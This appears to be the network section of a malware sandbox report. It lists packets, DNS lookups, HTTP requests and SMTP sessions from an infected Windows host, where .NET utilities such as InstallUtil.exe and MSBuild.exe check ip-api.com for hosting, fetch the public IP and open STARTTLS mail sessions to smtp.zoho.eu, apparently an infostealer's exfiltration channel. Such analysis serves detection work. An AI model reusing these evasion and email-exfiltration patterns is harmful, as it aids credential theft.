May 8, 2024 09:21:21.912249088 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.013397932 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.029115915 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.029167891 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.029203892 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.029274940 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.029381037 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.029406071 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.029426098 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.029445887 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.029465914 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.234713078 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.235100031 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.235266924 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.235285997 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.235337019 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.235337019 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.236515045 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.350370884 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.350394011 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.350522041 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.350615025 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.350667953 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.556472063 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.556544065 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.556582928 CEST	587	49749	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.556710958 CEST	49749	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.611556053 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.632019043 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:22.632059097 CEST	443	49759	104.26.13.205	192.168.2.4
May 8, 2024 09:21:22.632145882 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:22.635513067 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:22.635528088 CEST	443	49759	104.26.13.205	192.168.2.4
May 8, 2024 09:21:22.711544991 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.878096104 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:22.889703989 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:22.969254971 CEST	443	49759	104.26.13.205	192.168.2.4
May 8, 2024 09:21:22.969324112 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:23.209680080 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:23.209759951 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:23.209810019 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:23.209825993 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:23.209868908 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:23.414644003 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:23.526405096 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:23.549479008 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:23.549509048 CEST	443	49759	104.26.13.205	192.168.2.4
May 8, 2024 09:21:23.549856901 CEST	443	49759	104.26.13.205	192.168.2.4
May 8, 2024 09:21:23.602134943 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:23.687939882 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:23.732127905 CEST	443	49759	104.26.13.205	192.168.2.4
May 8, 2024 09:21:23.848323107 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:23.848663092 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:23.909995079 CEST	443	49759	104.26.13.205	192.168.2.4
May 8, 2024 09:21:23.910058975 CEST	443	49759	104.26.13.205	192.168.2.4
May 8, 2024 09:21:23.910132885 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:24.169881105 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:24.169903040 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:24.169917107 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:24.169975996 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:24.917124033 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:24.966716051 CEST	49759	443	192.168.2.4	104.26.13.205
May 8, 2024 09:21:24.988787889 CEST	49760	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:25.152992010 CEST	80	49760	208.95.112.1	192.168.2.4
May 8, 2024 09:21:25.153155088 CEST	49760	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:25.154541969 CEST	49760	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:25.237351894 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:25.238187075 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:25.317081928 CEST	80	49760	208.95.112.1	192.168.2.4
May 8, 2024 09:21:25.492758989 CEST	49760	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:25.558173895 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:25.558191061 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:25.558201075 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:25.558238983 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:25.558599949 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:25.879110098 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:25.879813910 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:26.235385895 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:26.237063885 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:26.292378902 CEST	49760	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:26.292960882 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:26.455241919 CEST	80	49760	208.95.112.1	192.168.2.4
May 8, 2024 09:21:26.455307007 CEST	49760	80	192.168.2.4	208.95.112.1
May 8, 2024 09:21:26.557074070 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:26.557260036 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:26.614430904 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:26.614496946 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:26.877324104 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:26.877528906 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:26.937906981 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:26.963848114 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.197642088 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.198326111 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.198457003 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.198493004 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.198580980 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.198800087 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.198852062 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.198884010 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.198903084 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.199028015 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.284934998 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.285952091 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.285965919 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.286050081 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.291414022 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.521024942 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.521045923 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.521058083 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.521070957 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.559114933 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.584311962 CEST	587	49758	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.612814903 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.618340969 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.711565018 CEST	49758	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.940932989 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.940956116 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.940968990 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:27.941153049 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:27.944845915 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:28.266350031 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:28.379668951 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:28.701086044 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:28.701111078 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:28.701123953 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:28.701164007 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:28.701503038 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:29.022916079 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:29.023252010 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:29.379421949 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:29.379697084 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:29.701169968 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:29.701406002 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:30.022962093 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:30.023268938 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:30.347563982 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:30.348110914 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:30.348172903 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:30.348212004 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:30.348232985 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:30.669358969 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:30.669385910 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:30.739433050 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:30.777919054 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:31.099468946 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:31.099616051 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:31.099652052 CEST	587	49762	185.230.214.164	192.168.2.4
May 8, 2024 09:21:31.099703074 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:31.099899054 CEST	49762	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:31.100924969 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:31.426116943 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:31.426204920 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:31.749907970 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:31.751312971 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:32.073342085 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:32.073451996 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:32.073466063 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:32.073492050 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:32.073523045 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:32.073697090 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:32.397638083 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:32.398113966 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:32.720558882 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:32.721611023 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:32.721611977 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:33.043629885 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:33.043927908 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:33.043941021 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:33.043952942 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:33.044178009 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:33.044249058 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:33.366872072 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:33.367136002 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:33.725059986 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:33.725277901 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.048331976 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:34.048533916 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.370830059 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:34.371043921 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.694858074 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:34.695363045 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.695452929 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.695452929 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.695631027 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.695631027 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.695656061 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.695656061 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.695739985 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:34.695739985 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:21:35.017810106 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:35.017833948 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:35.017942905 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:35.018095970 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:35.086400032 CEST	587	49765	185.230.214.164	192.168.2.4
May 8, 2024 09:21:35.141108036 CEST	49765	587	192.168.2.4	185.230.214.164
May 8, 2024 09:22:07.187556028 CEST	49723	80	192.168.2.4	199.232.210.172
May 8, 2024 09:22:07.187706947 CEST	49724	80	192.168.2.4	199.232.210.172
May 8, 2024 09:22:07.350658894 CEST	80	49724	199.232.210.172	192.168.2.4
May 8, 2024 09:22:07.350681067 CEST	80	49724	199.232.210.172	192.168.2.4
May 8, 2024 09:22:07.350819111 CEST	49724	80	192.168.2.4	199.232.210.172
May 8, 2024 09:22:07.350837946 CEST	80	49723	199.232.210.172	192.168.2.4
May 8, 2024 09:22:07.350873947 CEST	80	49723	199.232.210.172	192.168.2.4
May 8, 2024 09:22:07.350959063 CEST	49723	80	192.168.2.4	199.232.210.172
May 8, 2024 09:22:52.644767046 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:22:52.966161966 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:22:52.966275930 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:22:52.966306925 CEST	587	49752	185.230.214.164	192.168.2.4
May 8, 2024 09:22:52.966312885 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:22:52.966341972 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:22:52.966945887 CEST	49752	587	192.168.2.4	185.230.214.164
May 8, 2024 09:22:56.508986950 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:22:56.828392982 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:22:56.828555107 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:22:56.828736067 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:22:56.828772068 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:22:56.828774929 CEST	587	49748	185.230.214.164	192.168.2.4
May 8, 2024 09:22:56.828813076 CEST	49748	587	192.168.2.4	185.230.214.164
May 8, 2024 09:22:56.829564095 CEST	49748	587	192.168.2.4	185.230.214.164

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 8, 2024 09:21:03.063713074 CEST	50699	53	192.168.2.4	1.1.1.1
May 8, 2024 09:21:03.227633953 CEST	53	50699	1.1.1.1	192.168.2.4
May 8, 2024 09:21:04.877274036 CEST	56245	53	192.168.2.4	1.1.1.1
May 8, 2024 09:21:05.044781923 CEST	53	56245	1.1.1.1	192.168.2.4
May 8, 2024 09:21:11.017276049 CEST	54293	53	192.168.2.4	1.1.1.1
May 8, 2024 09:21:11.185365915 CEST	53	54293	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 8, 2024 09:21:03.063713074 CEST	192.168.2.4	1.1.1.1	0x517e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:04.877274036 CEST	192.168.2.4	1.1.1.1	0xf317	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:11.017276049 CEST	192.168.2.4	1.1.1.1	0x8ab4	Standard query (0)	smtp.zoho.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 8, 2024 09:21:03.227633953 CEST	1.1.1.1	192.168.2.4	0x517e	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:03.227633953 CEST	1.1.1.1	192.168.2.4	0x517e	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:03.227633953 CEST	1.1.1.1	192.168.2.4	0x517e	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:05.044781923 CEST	1.1.1.1	192.168.2.4	0xf317	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:10.570144892 CEST	1.1.1.1	192.168.2.4	0xac1c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:10.570144892 CEST	1.1.1.1	192.168.2.4	0xac1c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:11.095401049 CEST	1.1.1.1	192.168.2.4	0x237e	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 8, 2024 09:21:11.095401049 CEST	1.1.1.1	192.168.2.4	0x237e	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
May 8, 2024 09:21:11.185365915 CEST	1.1.1.1	192.168.2.4	0x8ab4	No error (0)	smtp.zoho.eu		185.230.214.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	208.95.112.1	80	8084	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 09:21:05.256422043 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
May 8, 2024 09:21:05.419017076 CEST	174	IN	HTTP/1.1 200 OK Date: Wed, 08 May 2024 07:21:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	208.95.112.1	80	7752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 09:21:09.701174974 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
May 8, 2024 09:21:09.864020109 CEST	174	IN	HTTP/1.1 200 OK Date: Wed, 08 May 2024 07:21:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 55 X-Rl: 43 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49746	208.95.112.1	80	7660	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 09:21:15.865681887 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
May 8, 2024 09:21:16.029175043 CEST	174	IN	HTTP/1.1 200 OK Date: Wed, 08 May 2024 07:21:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 49 X-Rl: 42 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49760	208.95.112.1	80	8676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 09:21:25.154541969 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
May 8, 2024 09:21:25.317081928 CEST	174	IN	HTTP/1.1 200 OK Date: Wed, 08 May 2024 07:21:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 40 X-Rl: 41 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.26.13.205	443	8084	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-08 07:21:04 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-08 07:21:04 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 08 May 2024 07:21:04 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8807b0dbccee76f8-SEA
2024-05-08 07:21:04 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 36 30 2e 39 32 Data Ascii: 81.181.60.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.26.13.205	443	7752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-08 07:21:09 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-08 07:21:09 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 08 May 2024 07:21:09 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8807b0f9bf36c4c0-SEA
2024-05-08 07:21:09 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 36 30 2e 39 32 Data Ascii: 81.181.60.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49745	104.26.13.205	443	7660	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-08 07:21:15 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-08 07:21:15 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 08 May 2024 07:21:15 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8807b1203d7e936f-SEA
2024-05-08 07:21:15 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 36 30 2e 39 32 Data Ascii: 81.181.60.92

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49759	104.26.13.205	443	8676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-08 07:21:23 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-08 07:21:23 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 08 May 2024 07:21:23 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8807b1539afc8389-SEA
2024-05-08 07:21:23 UTC	12	IN	Data Raw: 38 31 2e 31 38 31 2e 36 30 2e 39 32 Data Ascii: 81.181.60.92

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 8, 2024 09:21:11.920242071 CEST	587	49739	185.230.214.164	192.168.2.4	220 mx.zoho.eu SMTP Server ready May 8, 2024 9:21:11 AM CEST
May 8, 2024 09:21:11.920680046 CEST	49739	587	192.168.2.4	185.230.214.164	EHLO 035347
May 8, 2024 09:21:12.468164921 CEST	587	49739	185.230.214.164	192.168.2.4	250-mx.zoho.eu Hello 035347 (81.181.60.92 (81.181.60.92))
May 8, 2024 09:21:12.468178988 CEST	587	49739	185.230.214.164	192.168.2.4	250-STARTTLS 250 SIZE 53477376
May 8, 2024 09:21:12.468358040 CEST	49739	587	192.168.2.4	185.230.214.164	STARTTLS
May 8, 2024 09:21:12.793222904 CEST	587	49739	185.230.214.164	192.168.2.4	220 Ready to start TLS.
May 8, 2024 09:21:12.884509087 CEST	587	49742	185.230.214.164	192.168.2.4	220 mx.zoho.eu SMTP Server ready May 8, 2024 9:21:12 AM CEST
May 8, 2024 09:21:12.885888100 CEST	49742	587	192.168.2.4	185.230.214.164	EHLO 035347
May 8, 2024 09:21:13.207757950 CEST	587	49742	185.230.214.164	192.168.2.4	250-mx.zoho.eu Hello 035347 (81.181.60.92 (81.181.60.92))
May 8, 2024 09:21:13.207770109 CEST	587	49742	185.230.214.164	192.168.2.4	250-STARTTLS
May 8, 2024 09:21:13.207781076 CEST	587	49742	185.230.214.164	192.168.2.4	250 SIZE 53477376
May 8, 2024 09:21:13.207923889 CEST	49742	587	192.168.2.4	185.230.214.164	STARTTLS
May 8, 2024 09:21:13.527707100 CEST	587	49742	185.230.214.164	192.168.2.4	220 Ready to start TLS.
May 8, 2024 09:21:17.443345070 CEST	587	49748	185.230.214.164	192.168.2.4	220 mx.zoho.eu SMTP Server ready May 8, 2024 9:21:17 AM CEST
May 8, 2024 09:21:17.443475008 CEST	49748	587	192.168.2.4	185.230.214.164	EHLO 035347
